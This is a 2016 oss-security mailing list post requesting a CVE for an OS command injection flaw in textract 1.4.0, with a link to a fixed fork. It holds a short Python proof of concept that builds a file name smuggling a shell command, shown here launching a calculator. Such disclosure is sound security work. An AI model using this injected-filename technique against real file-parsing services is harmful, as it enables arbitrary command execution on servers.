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Message-ID: <CAO8=cJ-0zddSyndp=8ot8BHxyeC2r0Ln0nQvbFx0JQ3Dpg=0dA@mail.gmail.com>
Date: Thu, 20 Oct 2016 17:40:50 -0400
From: Pierre Ernst <pernst@...esforce.com>
To: oss-security@...ts.openwall.com
Subject: CVE request - textract 1.4.0 - OS Command Injection
The Python textract component (
https://github.com/deanmalmgren/textract/tree/v1.4.0) is vulnerable to OS
command injection.
this fork contains a fix:
https://github.com/pierre-ernst/textract
Parsing a file with a malicious name leads to arbitrary OS command
injection, this is especially risky when parsing user-supplied files on a
server (e.g. uploaded files)
PoC:
import textract
import sys
import os
# create a file with a malicious name and arbitrary content
fileName = './test";gnome-calculator;#.pdf'
file = open(fileName,'w+')
file.write('Pierre Ernst, Salesforce')
file.close()
# parse newly created file
text = textract.process(fileName)
print text
# cleanup
os.remove(fileName);
--
Pierre Ernst
Salesforce
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